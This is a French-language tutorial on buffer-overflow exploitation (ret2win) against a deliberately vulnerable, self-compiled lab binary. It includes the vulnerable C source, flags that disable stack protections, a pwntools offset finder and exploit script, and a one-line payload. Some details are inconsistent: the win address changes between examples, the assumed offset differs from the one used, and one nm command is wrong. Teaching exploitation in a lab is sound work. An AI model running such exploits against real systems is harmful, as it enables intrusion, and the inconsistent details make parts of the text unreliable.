pwn

Tutoriel : PWN (Binary Exploitation)

22/04/2026 Mis à jour le 21/05/2026
Exercice pour mieux comprendre le pwn

Tuto concret, direct et opérationnel sur le pwn classique : l’exploitation de buffer overflow sur binaire Linux 64 bits. Je vais te donner tout ce dont tu as besoin pour comprendre, reproduire et monter tes propres exploits.


Prérequis pour l'exploitation de binaires

  • Avoir des bases en Python.
  • Installer la librairie gcc .
  • Installer un débogueur (GDB).
  • Avoir Linux


1. Programme vulnérable (vuln.c)

#include <stdio.h>
#include <unistd.h>

void win() {
    write(1, "PWNED ! Flag : W0RM{G00D_B0Y}\n", 32);
}

void vuln() {
    char buffer[80];
    printf("[+] Buffer à l'adresse : %p\n", buffer);
    read(0, buffer, 200);   // overflow volontaire
}

int main() {
    setbuf(stdout, NULL);
    vuln();
    return 0;
}

Compilation sans protections (exactement ce qu’on veut) :

gcc -o vuln vuln.c -fno-stack-protector -z execstack -no-pie -w

2. Reconnaissance du binaire

checksec --file=vuln

Recherche de vuln avec l'outil checksec pour le pwn

Tu devrais voir :

Voici les explications pour les mécanismes de sécurité (ou leur absence) indiqués par votre outil d'analyse binaire (probablement checksec) :

Analyse des protections binaires

  • No canary = Absence de "sentinelle" (valeur de pile) pour détecter et empêcher les dépassements de tampon (buffer overflows) avant le retour d'une fonction.
  • NX disabled (execstack) = La protection "No-Execute" est désactivée, ce qui signifie que la pile est exécutable et qu'un attaquant peut y injecter et lancer du code malveillant (shellcode).
  • No PIE = L'exécutable n'est pas un "Position Independent Executable" ; il est chargé à une adresse mémoire fixe, facilitant les attaques de type ROP (Return Oriented Programming).
  • Partial RELRO = La section "Relocation Read-Only" est incomplète ; si la table GOT (Global Offset Table) reste accessible en écriture, elle peut être détournée pour rediriger des fonctions vers du code arbitraire.


Trouve l’adresse de la fonction win :

objdump -d vuln | grep win
# ou
nm -u vuln | grep win

Exemple de résultat : 0x0000000000401192

*Adresse mémoire spécifique (exprimée en hexadécimal) pointant vers une instruction ou une donnée située dans l'espace d'adressage du programme.


3. Trouver l’offset (cyclic pattern)

Avec pwntools (le meilleur outil) :

from pwn import *

p = process("./vuln")
# ou remote("target.com", 1337)

payload = cyclic(200)
p.sendline(payload)
p.wait()

core = p.corefile
offset = cyclic_find(core.read(core.rsp, 4))
print("Offset trouvé :", offset)

Supposons que l’offset soit 104 (très courant sur ce genre de challenge).

4. Exploit simple en python (ret2win)

from pwn import *

# Configuration du contexte pour l'architecture 64-bits
context.update(arch='amd64', os='linux', log_level='debug')

# Lancement du binaire
binary_path = './vuln'
elf = ELF(binary_path)
p = elf.process()

# Adresse de la fonction win (0x401156 d'après votre objdump)
addr_win = 0x401156

# Remplissage : 80 octets (buffer) + 8 octets (Saved RBP) = 88 octets
offset = 88

# Construction du payload propre
payload = b'A' * offset
payload += p64(addr_win)  # Écrase l'adresse de retour avec win()

# Attente de la ligne d'information du binaire (optionnel mais propre)
p.recvuntil(b' : ')
buffer_addr = p.recvline().strip()
print(f"Adresse du buffer détectée : {buffer_addr.decode()}")

# Envoi de la charge utile
p.send(payload)

# Puisque 'win' écrit directement sur la sortie standard, 
# on lit tout ce que le programme renvoie avant de mourir.
print("\n--- RÉSULTAT DE L'EXPLOITATION ---")
try:
    # Récupère toutes les données reçues (le flag s'y trouve)
    flag_output = p.recvall(timeout=2)
    print(flag_output.decode(errors='ignore'))
except Exception as e:
    print(f"Erreur lors de la récupération : {e}")

# Fermeture propre
p.close()

5. En ligne de commande avec Python

Le test avec ltrace confirme que vous provoquez bien le crash, mais il nous montre aussi une information capitale.

Regardez la ligne du read :

read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 200) = 89

La commande print('A'*88) en Python ajoute automatiquement un caractère de retour à la ligne (\n), ce qui fait un total de 89 octets reçus. Le simple fait d'avoir envoyé 89 octets a suffi à écraser une partie critique de la mémoire et à déclencher un SIGSEGV dès la sortie de la fonction vuln.

Cela signifie deux choses très importantes :

  1. L'offset de 88 est bien la frontière critique (la fin du Saved RBP).
  2. Dès que vous écrivez à partir du 89ème octet, vous commencez à modifier l'adresse de retour (RIP).

Pour récupérer le flag, il ne faut pas simplement faire crasher le programme avec des A, il faut placer précisément l'adresse de la fonction win (0x401156) à partir de ce 89ème octet.

Voici la commande rapide en ligne de commande (en utilisant Python et cat) pour envoyer le payload exact et voir le flag s'afficher dans votre terminal :

(python3 -c "import sys; sys.stdout.buffer.write(b'A'*88 + b'\x56\x11\x40\x00\x00\x00\x00\x00')"; cat) | ./vuln

Comment fonctionne cette commande ?

  • b'A'*88 : Remplit le buffer (80 octets) et le Saved RBP (8 octets).
  • b'\x56\x11\x40\x00\x00\x00\x00\x00' : C'est l'adresse de win (0x401156) écrite à l'envers (en Little Endian), complétée sur 8 octets pour l'architecture 64 bits.
  • ; cat : Laisse le canal ouvert pour que la fonction win puisse renvoyer le texte du flag vers votre terminal avant que le programme ne s'arrête définitivement.